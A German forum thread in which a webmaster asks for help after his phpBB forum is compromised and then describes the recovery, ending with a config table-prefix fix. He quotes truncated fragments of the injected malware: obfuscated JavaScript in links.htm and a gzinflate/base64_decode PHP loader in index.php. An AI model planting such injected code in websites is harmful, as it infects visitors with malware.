Forum wurde gehackt

[Sailor1]

Guten Tag,

ich betreibe auf meiner Webseite auch ein Forum. Heute hatte mich ein User darauf aufmerksam gemacht, dass er eine Trojanerwarnung erhalten habe als er das Forum angeklickt hatte.
Als ich das kontrollieren wollte habe ich gemerkt, dass die Schrift viel größer als eingestellt ist. Aufgeschreckt davon habe ich dann meiner Hoster angemailt und der hat mir bestätigt:

> Kann es sein, dass sich da einer reingekackt hat?

Ja. Da sind einige Dateien bei Ihnen "verschönert" worden. Beispiel:

links.htm

<!--f071c3--><script>try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catch(brebr){zz='al';zz='zv'.substr(123-122)+zz;ss=[];f='fr'+'om'+'Ch';f+='arC';f+=(h)?'ode':"";w=this;e=w[f["s$


Ist ein verschlüsselter Code. Allerdings wird der bei Aufruf der Datei entschlüsselt und schon gibt es eine Virenwarnung.

Noch ein Beispiel:

index.php im Verzeichnis phpbb3

#f071c3#
echo(gzinflate(base64_decode("zVZtb6JAEP4ttyEBSrTOwi5wlOsHc7/gPho/WMWDxooCbVNN//vt7C4r2mppc8ldIm+z8z7zjHNTz6ti0/xoqpf9Nl2U88eHbN0M51U2a7Kfqwy/HLIgHinE9UTcZDucbTbZejHOi9XC2XpE0F7ns2aeO9tnd5+ngxHQa5a8ospNVTZl87LJWpa7Krur3P1ul9qzlZ3gc/dkD+$

#/f071c3#

Und jetzt stehe ich da wie blöd und weis nicht was ich machen soll. Natürlich habe ich das Forum erst mal stillgelegt und einen Hinweis ins Web gestellt.
Aber wie gehe ich jetzt vor? Ich kann doch nicht einfach alles löschen und neu aufsetzen?

Kann mir bitte jemand einen Rat geben der auch von einem Oldtimer begriffen werden kann? PHP ist nicht so mein Ding.

[Charlie_M]

=> Mein Forum wurde gecrackt - was nun?

[Sailor1]

Danke,

habe ich vor Aufregung nicht gefunden, sorry!

Na dann mal los

[Sailor1]

Moin moin,

darf ich noch einmal fragen?

Bevor ich das Forum nun neu starte soll ich lt den Tipps die Datenbank auf Hintertüren untersuchen. Gibt dafür auch eine Anleitung? Wie finde ich die Tabelle in der ich sehen kann ob ausser mir noch einer alle Berechtigungen hat?

[AYYILDIZLAR]

Hallo,

Wie finde ich die Tabelle in der ich sehen kann ob ausser mir noch einer alle Berechtigungen hat?

KB:36

Code: Alles auswählen

Prüft die Tabelle phpbb_users regelmäßig auf Benutzer mit dem user_type '3'. Diese User haben uneingeschränkte Admin (Gründer)-Rechte. Sollte hier ein unbekannter User auftauchen, so sollten bei euch alle Alarmglocken läuten.

Grüße aus dem Spessart und viel Erfolg

[Sailor1]

immer kurz vor dem verzweifeln komme ich wieder und immer habe ich Tipps bekommen die mich wieder ein STück weiter gebracht haben.
So auch jetzt,
Also es gab keinen User ausser mir der alle Berechtigungen hatte. Auch die Moderatoren stimmten.

Also habe das Forum neu eingespielt und eine neue Datenbank erstellen lassen. IN die habe ich die Sicherung der alten DB mit MySQLDumper eingespielt und..... Schei....

Fehler:

SQL ERROR [ mysqli ]

Unknown column 'is_dynamic' in 'where clause' [1054]

Ist da noch was zu retten? Habt Ihr auch dafür einen Tipp für mich? Ich glaube ich hatte vorher nicht die allerneueste Version von php3 drauf. Könnte es sein dass es daran liegt, dass das neue Forum in einem anders benannten Unterverzeichnis liegt?
Wo stelle ich das dann um, passe die Pfade an?

[AYYILDIZLAR]

Hallo,

Ich konnte aus den bisherigen Beiträgen von dir zwar nicht ganz rauslesen ob du inzwischen das Forum neu(neue Version) aufgesetzt hast aber der Fehler könnte wirklich an den unterschiedlichen verwendeten phpbb3 Versionen liegen.

Ich glaube ich hatte vorher nicht die allerneueste Version von php3 drauf

Schau mal, ich hab da gerade einen Bericht bei mysqldumper gefunden. Da wird das gleiche Problem besprochen, ich hoffe es hilft dir weiter.

Grüße

[Sailor1]

Moin moin,

vielen lieben Dank für die Hilfe. Leider hat mich der Beitrag nicht weitergebracht.
Aber es kam eine Erleuchtung!
Ich betreibe noch ein anderes Forum, eigentlich nur zum testen, und da habe ich mal die config-Dateien vergleichen und festgestellt, es lag an der Zeile:

$table_prefix = 'phpbb3_';

Das neu aufgesetzte Forum hatte dort den Prefix phpbb ohne die 3. Also habe ich die config geändert und es läuft!

Jetzt geht es an die feinarbeit und dann kann das Forum wieder online gehen,